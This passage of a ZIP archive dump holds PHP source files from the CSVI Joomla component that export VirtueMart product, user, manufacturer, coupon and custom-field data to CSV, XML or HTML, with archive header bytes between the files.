'.$db->qn('#__virtuemart_products').'.'.$db->qn('virtuemart_product_id').' = '.$db->qn('#__virtuemart_product_customfields').'.'.$db->qn('custom_value')); $query->where($db->qn('#__virtuemart_customs').'.'.$db->qn('field_type').' = '.$db->q('R')); $query->where($db->qn('#__virtuemart_product_customfields').'.'.$db->qn('virtuemart_product_id').' = '.$db->q($record->virtuemart_product_id)); $query->group($db->qn('#__virtuemart_products').'.'.$db->qn('product_sku')); $db->setQuery($query); $related_records = $db->loadResultArray(); if (is_array($related_records)) $related_products = implode('|', $related_records); else $related_products = ''; if (strlen(trim($related_products)) == 0) $related_products = $field->default_value; $related_products = CsviHelper::replaceValue($field->replace, $related_products); $this->addExportField($field->combine, $related_products, $fieldname, $field->column_header); break; case 'product_available_date': case 'created_on': case 'modified_on': case 'locked_on': $date = JFactory::getDate($record->$fieldname); $fieldvalue = CsviHelper::replaceValue($field->replace, date($template->get('export_date_format', 'general'), $date->toUnix())); $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; case 'product_box': $product_box = $record->product_packaging>>16&0xFFFF; $product_box = CsviHelper::replaceValue($field->replace, $product_box); $this->addExportField($field->combine, $product_box, $fieldname, $field->column_header); break; case 'product_packaging': $product_packaging = $record->product_packaging & 0xFFFF; $product_packaging = CsviHelper::replaceValue($field->replace, $product_packaging); $this->addExportField($field->combine, $product_packaging, $fieldname, $field->column_header); break; case 'product_price': $product_price = $this->_convertPrice($record->product_price, $record->currency_code_3); $product_price = number_format($product_price, $template->get('export_price_format_decimal', 'general', 2, 'int'), $template->get('export_price_format_decsep', 'general'), $template->get('export_price_format_thousep', 'general')); if (strlen(trim($product_price)) == 0) $product_price = $field->default_value; if ($template->get('add_currency_to_price', 'general')) { if ($template->get('targetcurrency', 'product') != '') { $product_price = $template->get('targetcurrency', 'product').' '.$product_price; } else $product_price = $record->currency_code_3.' '.$product_price; } $product_price = CsviHelper::replaceValue($field->replace, $product_price); $this->addExportField($field->combine, $product_price, $fieldname, $field->column_header); break; case 'product_override_price': $product_price = number_format($record->product_override_price, $template->get('export_price_format_decimal', 'general', 2, 'int'), $template->get('export_price_format_decsep', 'general'), $template->get('export_price_format_thousep', 'general')); if (strlen(trim($product_price)) == 0) $product_price = $field->default_value; if ($template->get('add_currency_to_price', 'general')) { if ($template->get('targetcurrency', 'product') != '') { $product_price = $template->get('targetcurrency', 'product').' '.$product_price; } else $product_price = $record->currency_code_3.' '.$product_price; } $product_price = CsviHelper::replaceValue($field->replace, $product_price); $this->addExportField($field->combine, $product_price, $fieldname, $field->column_header); break; case 'product_url': // Check if there is already a product URL if (is_null($record->product_url) || strlen(trim($record->product_url)) == 0) { // Get the category id // Check to see if we have a child product $category_id = $helper->getCategoryId($record->virtuemart_product_id); if ($category_id > 0) { // Let's create a SEF URL $_SERVER['QUERY_STRING'] = 'option=com_virtuemart&Itemid='.$template->get('vm_itemid', 'product', 1, 'int').'&view=productdetails&virtuemart_product_id='.$record->virtuemart_product_id.'&virtuemart_category_id='.$category_id; $product_url = $sef->getSiteRoute('index.php?'.$_SERVER['QUERY_STRING']); } else $product_url = ""; } // There is a product URL, use it else $product_url = $record->product_url; // Add the suffix if (!empty($product_url)) $product_url .= $template->get('producturl_suffix', 'product'); // Check for https, replace with http. https has unnecessary overhead if (substr($product_url, 0, 5) == 'https') $product_url = 'http'.substr($product_url, 5); $product_url = CsviHelper::replaceValue($field->replace, $product_url); $this->addExportField($field->combine, $product_url, $fieldname, $field->column_header, true); break; case 'price_with_tax': $prices = $this->_getProductPrice($record->virtuemart_product_id); $price_with_tax = number_format($prices['salesPrice'], $template->get('export_price_format_decimal', 'general', 2, 'int'), $template->get('export_price_format_decsep', 'general'), $template->get('export_price_format_thousep', 'general')); // Check if we have any content otherwise use the default value if (strlen(trim($price_with_tax)) == 0) $price_with_tax = $field->default_value; if ($template->get('add_currency_to_price', 'general')) $price_with_tax = $record->product_currency.' '.$price_with_tax; $price_with_tax = CsviHelper::replaceValue($field->replace, $price_with_tax); $this->addExportField($field->combine, $price_with_tax, $fieldname, $field->column_header); break; case 'basepricewithtax': case 'discountedpricewithouttax': case 'pricebeforetax': case 'salesprice': case 'taxamount': case 'discountamount': case 'pricewithouttax': $prices = $this->_getProductPrice($record->virtuemart_product_id); if (isset($prices[$fieldname])) { $price = number_format($prices[$fieldname], $template->get('export_price_format_decimal', 'general', 2, 'int'), $template->get('export_price_format_decsep', 'general'), $template->get('export_price_format_thousep', 'general')); } // Check if we have any content otherwise use the default value if (strlen(trim($price)) == 0) $price = $field->default_value; // Check if the currency needs to be added if ($template->get('add_currency_to_price', 'general')) $price = $record->product_currency.' '.$price; // Perform the replacement rules $price = CsviHelper::replaceValue($field->replace, $price); // Export the data $this->addExportField($field->combine, $price, $fieldname, $field->column_header); break; case 'product_currency': $fieldvalue = $record->currency_code_3; // Check if we have any content otherwise use the default value if ($template->get('targetcurrency', 'product') != '') { $fieldvalue = $template->get('targetcurrency', 'product'); } if (strlen(trim($fieldvalue)) == 0) $fieldvalue = $field->default_value; $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; case 'custom_shipping': // Get the prices $prices = $this->_getProductPrice($record->virtuemart_product_id); // Check the shipping cost if (isset($prices['salesprice'])) { $price_with_tax = number_format($prices['salesprice'], $template->get('export_price_format_decimal', 'general', 2, 'int'), $template->get('export_price_format_decsep', 'general'), $template->get('export_price_format_thousep', 'general')); $result = $helper->shippingCost($price_with_tax); if ($result) $fieldvalue = $result; } // Check if we have any content otherwise use the default value if (strlen(trim($fieldvalue)) == 0) $fieldvalue = $field->default_value; $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; case 'manufacturer_name': $query = $db->getQuery(true); $query->select('mf_name'); $query->from('#__virtuemart_manufacturers_'.$template->get('language', 'general')); $query->leftJoin('#__virtuemart_product_manufacturers ON #__virtuemart_product_manufacturers.virtuemart_manufacturer_id = #__virtuemart_manufacturers_'.$template->get('language', 'general').'.virtuemart_manufacturer_id'); $query->where('virtuemart_product_id = '.$record->virtuemart_product_id); $db->setQuery($query); $fieldvalue = CsviHelper::replaceValue($field->replace, $db->loadResult()); // Check if we have any content otherwise use the default value if (strlen(trim($fieldvalue)) == 0) $fieldvalue = $field->default_value; $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header, true); break; case 'shopper_group_name': $query = $db->getQuery(true); $query->select($db->qn($fieldname)); $query->from($db->qn('#__virtuemart_shoppergroups', 'g')); $query->leftJoin($db->qn('#__virtuemart_product_shoppergroups').' AS p ON g.virtuemart_shoppergroup_id = p.virtuemart_shoppergroup_id'); $query->where($db->qn('virtuemart_product_id').' = '.$db->q($record->virtuemart_product_id)); $db->setQuery($query); $csvilog->addDebug('Get shopper group', true); $titles = $db->loadColumn(); if (is_array($titles)) { $fieldvalue = CsviHelper::replaceValue($field->replace, implode('|', $titles)); // Check if we have any content otherwise use the default value } else $fieldvalue = ''; if (strlen(trim($fieldvalue)) == 0) $fieldvalue = $field->default_value; $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header, true); break; case 'shopper_group_name_price': if ($record->virtuemart_shoppergroup_id > 0) { $query = $db->getQuery(true); $query->select($db->qn('shopper_group_name')); $query->from($db->qn('#__virtuemart_shoppergroups', 'g')); $query->where($db->qn('virtuemart_shoppergroup_id').' = '.$db->q($record->virtuemart_shoppergroup_id)); $db->setQuery($query); $csvilog->addDebug('Get price shopper group', true); $fieldvalue = $db->loadResult(); } else $fieldvalue = '*'; $fieldvalue = CsviHelper::replaceValue($field->replace, $fieldvalue); // Check if we have any content otherwise use the default value if (strlen(trim($fieldvalue)) == 0) $fieldvalue = $field->default_value; $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header, true); break; case 'custom_title': // Get the custom title $query = $db->getQuery(true); $query->select($db->qn('custom_title')); $query->from($db->qn('#__virtuemart_customs').' AS c'); $query->leftJoin($db->qn('#__virtuemart_product_customfields').' AS f ON c.virtuemart_custom_id = f.virtuemart_custom_id'); $query->where($db->qn('virtuemart_product_id').' = '.$db->q($record->virtuemart_product_id)); // Check if we need to filter $title_filter = array(); $title_filter = $template->get('custom_title', 'product', array(), 'array'); if (!empty($title_filter) && $title_filter[0] != '') { $query->where($db->qn('f').'.'.$db->qn('virtuemart_custom_id').' IN ('.implode(',', $title_filter).')'); } $query->order($db->qn('f').'.'.$db->qn('virtuemart_custom_id')); $db->setQuery($query); $titles = $db->loadResultArray(); if (is_array($titles)) { $fieldvalue = CsviHelper::replaceValue($field->replace, implode('~', $titles)); // Check if we have any content otherwise use the default value } else $fieldvalue = ''; if (strlen(trim($fieldvalue)) == 0) $fieldvalue = $field->default_value; $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header, true); break; case 'custom_value': case 'custom_price': case 'custom_param': if (!isset($this->_customfields[$record->virtuemart_product_id][$fieldname])) { $query = $db->getQuery(true); $query->select($db->qn($fieldname)); $query->from($db->qn('#__virtuemart_product_customfields')); $query->where($db->qn('virtuemart_product_id').' = '.$db->q($record->virtuemart_product_id)); // Check if we need to filter $title_filter = array(); $title_filter = $template->get('custom_title', 'product', array()); if (!empty($title_filter) && $title_filter[0] != '') { $query->where($db->qn('virtuemart_custom_id').' IN ('.implode(',', $title_filter).')'); } $query->order($db->qn('virtuemart_custom_id')); $db->setQuery($query); $customfields = $db->loadObjectList(); $csvilog->addDebug('COM_CSVI_CUSTOM_FIELD_QUERY', true); if (!empty($customfields)) { $values = array(); foreach ($customfields as $customfield) { $values[] = $customfield->$fieldname; } $this->_customfields[$record->virtuemart_product_id][$fieldname] = $values; $fieldvalue = implode('~', $this->_customfields[$record->virtuemart_product_id][$fieldname]); } else $fieldvalue = ''; } else { $fieldvalue = implode('~', $this->_customfields[$record->virtuemart_product_id][$fieldname]); } $fieldvalue = CsviHelper::replaceValue($field->replace, $fieldvalue); // Check if we have any content otherwise use the default value if (strlen(trim($fieldvalue)) == 0) $fieldvalue = $field->default_value; $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header, true); break; case 'file_url': case 'file_url_thumb': $query = $db->getQuery(true); $query->select($db->qn($fieldname)); $query->from($db->qn('#__virtuemart_medias').' AS m'); $query->leftJoin($db->qn('#__virtuemart_product_medias').' AS p ON m.virtuemart_media_id = p.virtuemart_media_id'); $query->where($db->qn('virtuemart_product_id').' = '.$db->q($record->virtuemart_product_id)); $query->where($db->qn('file_type').' = '.$db->q('product')); $query->order('p.ordering'); $db->setQuery($query); $titles = $db->loadResultArray(); if (is_array($titles)) { $fieldvalue = CsviHelper::replaceValue($field->replace, implode('|', $titles)); // Check if we have any content otherwise use the default value } else $fieldvalue = ''; if (strlen(trim($fieldvalue)) == 0) $fieldvalue = $field->default_value; $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header, true); break; case 'min_order_level': case 'max_order_level': if (strpos($record->product_params, '|')) { $params = explode('|', $record->product_params); foreach ($params as $param) { if ($param) { list($param_name, $param_value) = explode('=', $param); if ($param_name == $fieldname) { $fieldvalue = str_replace('"', '', $param_value); } } } } else $fieldvalue = ''; if (strlen(trim($fieldvalue)) == 0) $fieldvalue = $field->default_value; $fieldvalue = CsviHelper::replaceValue($field->replace, $fieldvalue); $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; default: // Check if we have any content otherwise use the default value if (strlen(trim($fieldvalue)) == 0) $fieldvalue = $field->default_value; $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; } } } if ($template->get('export_file', 'general') == 'xml' || $template->get('export_file', 'general') == 'html') { $this->addExportContent($exportclass->NodeEnd()); } // Output the contents $this->writeOutput(); } } else { $this->addExportContent(JText::_('COM_CSVI_NO_DATA_FOUND')); // Output the contents $this->writeOutput(); } } } /** * Convert prices to the new currency * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 4.0 */ private function _convertPrice($product_price, $product_currency) { if (empty($product_price)) return $product_price; else { $jinput = JFactory::getApplication()->input; $template = $jinput->get('template', null, null); // See if we need to convert the price if ($template->get('targetcurrency', 'product', '') != '') { $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select('currency_code, currency_rate'); $query->from('#__csvi_currency'); $query->where('currency_code IN ('.$db->q($product_currency).", ".$db->q($template->get('targetcurrency', 'product', 'EUR')).")"); $db->setQuery($query); $rates = $db->loadObjectList('currency_code'); /* Convert to base price */ $baseprice = $product_price / $rates[strtoupper($product_currency)]->currency_rate; /* Convert to destination currency */ return $baseprice * $rates[strtoupper($template->get('targetcurrency', 'product', 'EUR'))]->currency_rate; } else return $product_price; } } /** * Get product prices * * @copyright * @author RolandD * @todo * @see * @access public * @param int $product_id the ID of the product * @return * @since 4.0 */ private function _getProductPrice($product_id) { if (!isset($this->_prices[$product_id])) { // Define VM constant to make the classes work if (!defined('JPATH_VM_ADMINISTRATOR')) define('JPATH_VM_ADMINISTRATOR', JPATH_ADMINISTRATOR.'/components/com_virtuemart/'); // Load the configuration for the currency formatting require_once(JPATH_ADMINISTRATOR.'/components/com_virtuemart/helpers/config.php'); // Include the calculation helper require_once(JPATH_ADMINISTRATOR.'/components/com_virtuemart/helpers/calculationh.php'); $calc = calculationHelper::getInstance(); // Include the version class to compare require_once(JPATH_ADMINISTRATOR.'/components/com_virtuemart/version.php'); // Do a version check due to changed core code if (version_compare(vmVersion::$RELEASE, '2.0.6', '>')) { require_once(JPATH_ADMINISTRATOR.'/components/com_virtuemart/models/product.php'); $product = $this->getInstance('Product', 'VirtueMartModel'); $prices = $calc->getProductPrices($product->getProductSingle($product_id)); } else { $prices = $calc->getProductPrices($product_id); } if (is_array($prices)) $this->_prices[$product_id] = array_change_key_case($prices, CASE_LOWER); else $this->_prices[$product_id] = array(); } return $this->_prices[$product_id]; } }PKs>\)/com_csvi/models/com_virtuemart/export/.htaccessnuW+A Order allow,deny Deny from all PKs>\kP9+9+8com_csvi/models/com_virtuemart/export/userinfoexport.phpnuW+Ainput; $csvilog = $jinput->get('csvilog', null, null); $template = $jinput->get('template', null, null); $exportclass = $jinput->get('export.class', null, null); $export_fields = $jinput->get('export.fields', array(), 'array'); // Build something fancy to only get the fieldnames the user wants $userfields = array(); foreach ($export_fields as $column_id => $field) { switch ($field->field_name) { case 'virtuemart_user_id': case 'created_on': case 'modified_on': case 'locked_on': case 'created_by': case 'modified_by': case 'locked_by': case 'name': case 'agreed': $userfields[] = $db->quoteName('#__virtuemart_userinfos').'.'.$db->quoteName($field->field_name); break; case 'full_name': $userfields[] = $db->quoteName('#__virtuemart_userinfos').'.'.$db->quoteName('first_name'); $userfields[] = $db->quoteName('#__virtuemart_userinfos').'.'.$db->quoteName('middle_name'); $userfields[] = $db->quoteName('#__virtuemart_userinfos').'.'.$db->quoteName('last_name'); break; case 'id': $userfields[] = $db->quoteName('#__users').'.'.$db->quoteName('id'); break; case 'usergroup_name': $userfields[] = $db->quoteName('#__virtuemart_userinfos').'.'.$db->quoteName('virtuemart_user_id'); break; case 'virtuemart_vendor_id': $userfields[] = $db->quoteName('#__virtuemart_vmusers').'.'.$db->quoteName('virtuemart_vendor_id'); break; case 'state_2_code': case 'state_3_code': case 'state_name': $userfields[] = $db->quoteName('#__virtuemart_userinfos').'.'.$db->quoteName('virtuemart_state_id'); break; case 'country_2_code': case 'country_3_code': case 'country_name': case 'virtuemart_country_id': $userfields[] = $db->quoteName('#__virtuemart_userinfos').'.'.$db->quoteName('virtuemart_country_id'); break; case 'custom': break; default: $userfields[] = $db->quoteName($field->field_name); break; } } /** Export SQL Query * Get all products - including items * as well as products without a price */ $userfields = array_unique($userfields); $query = $db->getQuery(true); $query->select(implode(",\n", $userfields)); $query->from('#__virtuemart_userinfos'); $query->leftJoin('#__virtuemart_vmusers ON #__virtuemart_vmusers.virtuemart_user_id = #__virtuemart_userinfos.virtuemart_user_id'); $query->leftJoin('#__virtuemart_vmuser_shoppergroups ON #__virtuemart_vmuser_shoppergroups.virtuemart_user_id = #__virtuemart_userinfos.virtuemart_user_id'); $query->leftJoin('#__virtuemart_vendors ON #__virtuemart_vendors.virtuemart_vendor_id = #__virtuemart_vmusers.virtuemart_vendor_id'); $query->leftJoin('#__virtuemart_shoppergroups ON #__virtuemart_shoppergroups.virtuemart_shoppergroup_id = #__virtuemart_vmuser_shoppergroups.virtuemart_shoppergroup_id'); $query->leftJoin('#__users ON #__users.id = #__virtuemart_userinfos.virtuemart_user_id'); // Check if there are any selectors $selectors = array(); // Filter by vendors $vendors = $template->get('vendors', 'userinfo', false); if ($vendors && $vendors[0] != 'none') { $selectors[] = '#__virtuemart_vmusers.virtuemart_vendor_id IN (\''.implode("','", $vendors).'\')'; } // Filter by permissions $permissions = $template->get('permissions', 'userinfo', false); if ($permissions && $permissions[0] != 'none') { $selectors[] = '#__virtuemart_vmusers.perms IN (\''.implode("','", $permissions).'\')'; } // Filter by address type $address = $template->get('userinfo_address', 'userinfo', false); if ($address) { $selectors[] = '#__virtuemart_userinfos.address_type = '.$db->Quote(strtoupper($address)); } // Filter by user info modified date start $date = $template->get('userinfomdatestart', 'userinfo', false); if ($date) { $userinfomdate = JFactory::getDate($date); $selectors[] = '#__virtuemart_userinfos.modified_on >= '.$db->Quote($userinfomdate->toMySQL()); } // Filter by user info date end $date = $template->get('userinfomdateend', 'userinfo', false); if ($date) { $userinfomdate = JFactory::getDate($date); $selectors[] = '#__virtuemart_userinfos.modified_on <= '.$db->Quote($userinfomdate->toMySQL()); } // Check if we need to attach any selectors to the query if (count($selectors) > 0 ) $query->where(implode("\n AND ", $selectors)); // Array of fields not to handle $ignore = array('full_name', 'usergroup_name', 'state_2_code', 'state_3_code', 'state_name', 'country_2_code', 'country_3_code', 'country_name'); // Check if we need to group the orders together $groupby = $template->get('groupby', 'general', false, 'bool'); if ($groupby) { $filter = $this->getFilterBy('groupby', $ignore); if (!empty($filter)) $query->group($filter); } // Order by set field $orderby = $this->getFilterBy('sort', $ignore); if (!empty($orderby)) $query->order($orderby); // Add export limits $limits = $this->getExportLimit(); // Execute the query $csvidb->setQuery($query, $limits['offset'], $limits['limit']); $csvilog->addDebug(JText::_('COM_CSVI_EXPORT_QUERY'), true); // There are no records, write SQL query to log if (!is_null($csvidb->getErrorMsg())) { $this->addExportContent(JText::sprintf('COM_CSVI_ERROR_RETRIEVING_DATA', $csvidb->getErrorMsg())); $this->writeOutput(); $csvilog->AddStats('incorrect', $csvidb->getErrorMsg()); } else { $logcount = $csvidb->getNumRows(); JRequest::setVar('logcount', array('export' => $logcount)); if ($logcount > 0) { $linenumber = 1; while ($record = $csvidb->getRow()) { $csvilog->setLinenumber($linenumber++); if ($template->get('export_file', 'general') == 'xml' || $template->get('export_file', 'general') == 'html') $this->addExportContent($exportclass->NodeStart()); foreach ($export_fields as $column_id => $field) { $fieldname = $field->field_name; // Add the replacement if (isset($record->$fieldname)) $fieldvalue = CsviHelper::replaceValue($field->replace, $record->$fieldname); else $fieldvalue = ''; switch ($fieldname) { case 'created_on': case 'modified_on': case 'locked_on': case 'lastvisitdate': $date = JFactory::getDate($record->$fieldname); $fieldvalue = CsviHelper::replaceValue($field->replace, date($template->get('export_date_format', 'general'), $date->toUnix())); $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; case 'address_type': // Check if we have any content otherwise use the default value if (strlen(trim($fieldvalue)) == 0) $fieldvalue = $field->default_value; if ($fieldvalue == 'BT') $fieldvalue = JText::_('COM_CSVI_BILLING_ADDRESS'); else if ($fieldvalue == 'ST') $fieldvalue = JText::_('COM_CSVI_SHIPPING_ADDRESS'); $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; case 'full_name': $fieldvalue = str_replace(' ', ' ', $record->first_name.' '.$record->middle_name.' '.$record->last_name); $fieldvalue = CsviHelper::replaceValue($field->replace, $fieldvalue); // Check if we have any content otherwise use the default value if (strlen(trim($fieldvalue)) == 0) $fieldvalue = $field->default_value; $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; case 'usergroup_name': $query = $db->getQuery(true); $query->select($fieldname); $query->from('#__usergroups'); $query->leftJoin('#__user_usergroup_map ON #__user_usergroup_map.group_id = #__usergroups.id'); $query->where($db->quoteName('user_id').' = '.$record->virtuemart_user_id); $db->setQuery($query); $fieldvalue = $db->loadResult(); if (strlen(trim($fieldvalue)) == 0) $fieldvalue = $field->default_value; $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; case 'state_2_code': case 'state_3_code': case 'state_name': $query = $db->getQuery(true); $query->select($fieldname); $query->from('#__virtuemart_states'); $query->where('virtuemart_state_id = '.$record->virtuemart_state_id); $db->setQuery($query); $fieldvalue = CsviHelper::replaceValue($field->replace, $db->loadResult()); $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; case 'country_2_code': case 'country_3_code': case 'country_name': $query = $db->getQuery(true); $query->select($fieldname); $query->from('#__virtuemart_countries'); $query->where('virtuemart_country_id = '.$record->virtuemart_country_id); $db->setQuery($query); $fieldvalue = CsviHelper::replaceValue($field->replace, $db->loadResult()); $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; default: // Check if we have any content otherwise use the default value if (strlen(trim($fieldvalue)) == 0) $fieldvalue = $field->default_value; $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; } } if ($template->get('export_file', 'general') == 'xml' || $template->get('export_file', 'general') == 'html') { $this->addExportContent($exportclass->NodeEnd()); } // Output the contents $this->writeOutput(); } } else { $this->addExportContent(JText::_('COM_CSVI_NO_DATA_FOUND')); // Output the contents $this->writeOutput(); } } } } ?>PKs>\u1  <com_csvi/models/com_virtuemart/export/manufacturerexport.phpnuW+Ainput; $csvilog = $jinput->get('csvilog', null, null); $template = $jinput->get('template', null, null); $exportclass = $jinput->get('export.class', null, null); $export_fields = $jinput->get('export.fields', array(), 'array'); // Build something fancy to only get the fieldnames the user wants $userfields = array(); foreach ($export_fields as $column_id => $field) { if ($field->process) { switch ($field->field_name) { case 'virtuemart_manufacturer_id': $userfields[] = $db->quoteName('#__virtuemart_manufacturers').'.'.$db->quoteName('virtuemart_manufacturer_id'); break; case 'mf_category_name': break; default: $userfields[] = $db->quoteName($field->field_name); break; } } } // Build the query $userfields = array_unique($userfields); $query = $db->getQuery(true); $query->select(implode(",\n", $userfields)); $query->from('#__virtuemart_manufacturers'); $query->leftJoin('#__virtuemart_manufacturers_'.$template->get('language', 'general').' ON #__virtuemart_manufacturers_'.$template->get('language', 'general').'.virtuemart_manufacturer_id = #__virtuemart_manufacturers.virtuemart_manufacturer_id'); // Check if there are any selectors $selectors = array(); // Filter by published state $publish_state = $template->get('publish_state', 'general'); if ($publish_state !== '' && ($publish_state == 1 || $publish_state == 0)) { $selectors[] = '#__virtuemart_manufacturers.published = '.$db->Quote($publish_state); } // Check if we need to attach any selectors to the query if (count($selectors) > 0 ) $query->where(implode("\n AND ", $selectors)); // Fields to ignore $ignore = array('mf_category_name'); // Check if we need to group the orders together $groupby = $template->get('groupby', 'general', false, 'bool'); if ($groupby) { $filter = $this->getFilterBy('groupby', $ignore); if (!empty($filter)) $query->group($filter); } // Order by set field $orderby = $this->getFilterBy('sort', $ignore); if (!empty($orderby)) $query->order($orderby); // Add a limit if user wants us to $limits = $this->getExportLimit(); // Execute the query $csvidb->setQuery($query, $limits['offset'], $limits['limit']); $csvilog->addDebug(JText::_('COM_CSVI_EXPORT_QUERY'), true); // There are no records, write SQL query to log if (!is_null($csvidb->getErrorMsg())) { $this->addExportContent(JText::sprintf('COM_CSVI_ERROR_RETRIEVING_DATA', $csvidb->getErrorMsg())); $this->writeOutput(); $csvilog->AddStats('incorrect', $csvidb->getErrorMsg()); } else { $logcount = $csvidb->getNumRows(); JRequest::setVar('logcount', $logcount); if ($logcount > 0) { $linenumber = 1; while ($record = $csvidb->getRow()) { $csvilog->setLinenumber($linenumber++); if ($template->get('export_file', 'general') == 'xml' || $template->get('export_file', 'general') == 'html') $this->addExportContent($exportclass->NodeStart()); foreach ($export_fields as $column_id => $field) { $fieldname = $field->field_name; // Add the replacement if (isset($record->$fieldname)) $fieldvalue = CsviHelper::replaceValue($field->replace, $record->$fieldname); else $fieldvalue = ''; switch ($fieldname) { case 'mf_category_name': $query = $db->getQuery(true); $query->select('mf_category_name'); $query->from('#__virtuemart_manufacturercategories_'.$template->get('language', 'general')); $query->where('virtuemart_manufacturercategories_id = '.$record->virtuemart_manufacturercategories_id); $db->setQuery($query); $fieldvalue = $db->loadResult(); // Check if we have any content otherwise use the default value if (strlen(trim($fieldvalue)) == 0) $fieldvalue = $field->default_value; $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header, true); break; default: // Check if we have any content otherwise use the default value if (strlen(trim($fieldvalue)) == 0) $fieldvalue = $field->default_value; $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; } } if ($template->get('export_file', 'general') == 'xml' || $template->get('export_file', 'general') == 'html') { $this->addExportContent($exportclass->NodeEnd()); } // Output the contents $this->writeOutput(); } } else { $this->addExportContent(JText::_('COM_CSVI_NO_DATA_FOUND')); // Output the contents $this->writeOutput(); } } } } ?>PKs>\#o,,0com_csvi/models/com_virtuemart/export/index.htmlnuW+APKs>\^6com_csvi/models/com_virtuemart/export/couponexport.phpnuW+Ainput; $csvilog = $jinput->get('csvilog', null, null); $template = $jinput->get('template', null, null); $exportclass = $jinput->get('export.class', null, null); $export_fields = $jinput->get('export.fields', array(), 'array'); // Build something fancy to only get the fieldnames the user wants $userfields = array(); foreach ($export_fields as $column_id => $field) { if ($field->process) { switch ($field->field_name) { default: $userfields[] = $db->quoteName($field->field_name); break; } } } // Build the query $userfields = array_unique($userfields); $query = $db->getQuery(true); $query->select(implode(",\n", $userfields)); $query->from('#__virtuemart_coupons'); // Check if there are any selectors $selectors = array(); // Filter by published state $publish_state = $template->get('publish_state', 'general'); if ($publish_state != '' && ($publish_state == 1 || $publish_state == 0)) { $selectors[] = '#__virtuemart_coupons.published = '.$publish_state; } // Check if we need to attach any selectors to the query if (count($selectors) > 0 ) $query->where(implode("\n AND ", $selectors)); // Check if we need to group the orders together $groupby = $template->get('groupby', 'general', false, 'bool'); if ($groupby) { $filter = $this->getFilterBy('groupby'); if (!empty($filter)) $query->group($filter); } // Order by set field $orderby = $this->getFilterBy('sort'); if (!empty($orderby)) $query->order($orderby); // Add a limit if user wants us to $limits = $this->getExportLimit(); // Execute the query $csvidb->setQuery($query, $limits['offset'], $limits['limit']); $csvilog->addDebug(JText::_('COM_CSVI_EXPORT_QUERY'), true); // There are no records, write SQL query to log if (!is_null($csvidb->getErrorMsg())) { $this->addExportContent(JText::sprintf('COM_CSVI_ERROR_RETRIEVING_DATA', $csvidb->getErrorMsg())); $this->writeOutput(); $csvilog->AddStats('incorrect', $csvidb->getErrorMsg()); } else { $logcount = $csvidb->getNumRows(); $jinput->set('logcount', $logcount); if ($logcount > 0) { $linenumber = 1; while ($record = $csvidb->getRow()) { $csvilog->setLinenumber($linenumber++); if ($template->get('export_file', 'general') == 'xml' || $template->get('export_file', 'general') == 'html') $this->addExportContent($exportclass->NodeStart()); foreach ($export_fields as $column_id => $field) { $fieldname = $field->field_name; // Add the replacement if (isset($record->$fieldname)) $fieldvalue = CsviHelper::replaceValue($field->replace, $record->$fieldname); else $fieldvalue = ''; switch ($fieldname) { case 'coupon_value': case 'coupon_value_valid': $coupon_value = number_format($fieldvalue, $template->get('export_price_format_decimal', 'general', 2, 'int'), $template->get('export_price_format_decsep', 'general'), $template->get('export_price_format_thousep', 'general')); if (strlen(trim($fieldvalue)) == 0) $coupon_value = $field->default_value; $this->addExportField($field->combine, $coupon_value, $fieldname, $field->column_header); break; default: // Check if we have any content otherwise use the default value if (strlen(trim($fieldvalue)) == 0) $fieldvalue = $field->default_value; $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; } } if ($template->get('export_file', 'general') == 'xml' || $template->get('export_file', 'general') == 'html') { $this->addExportContent($exportclass->NodeEnd()); } // Output the contents $this->writeOutput(); } } else { $this->addExportContent(JText::_('COM_CSVI_NO_DATA_FOUND')); // Output the contents $this->writeOutput(); } } } } ?>PKs>\O ;com_csvi/models/com_virtuemart/export/customfieldexport.phpnuW+Ainput; $csvilog = $jinput->get('csvilog', null, null); $template = $jinput->get('template', null, null); $exportclass = $jinput->get('export.class', null, null); $export_fields = $jinput->get('export.fields', array(), 'array'); // Build something fancy to only get the fieldnames the user wants $userfields = array(); foreach ($export_fields as $column_id => $field) { if ($field->process) { switch ($field->field_name) { case 'custom'; case 'vendor_name': break; case 'plugin_name': $userfields[] = $db->quoteName('#__virtuemart_customs').'.'.$db->quoteName('custom_jplugin_id'); break; default: $userfields[] = $db->quoteName($field->field_name); break; } } } // Build the query $userfields = array_unique($userfields); $query = $db->getQuery(true); $query->select(implode(",\n", $userfields)); $query->from('#__virtuemart_customs'); // Check if there are any selectors $selectors = array(); // Filter by published state $publish_state = $template->get('publish_state', 'general'); if ($publish_state != '' && ($publish_state == 1 || $publish_state == 0)) { $selectors[] = '#__virtuemart_customs.published = '.$publish_state; } // Check if we need to attach any selectors to the query if (count($selectors) > 0 ) $query->where(implode("\n AND ", $selectors)); // Ignore these fields $ignore = array('custom', 'plugin_name', 'vendor_name'); // Check if we need to group the orders together $groupby = $template->get('groupby', 'general', false, 'bool'); if ($groupby) { $filter = $this->getFilterBy('groupby', $ignore); if (!empty($filter)) $query->group($filter); } // Order by set field $orderby = $this->getFilterBy('sort', $ignore); if (!empty($orderby)) $query->order($orderby); // Add a limit if user wants us to $limits = $this->getExportLimit(); // Execute the query $csvidb->setQuery($query, $limits['offset'], $limits['limit']); $csvilog->addDebug(JText::_('COM_CSVI_EXPORT_QUERY'), true); // There are no records, 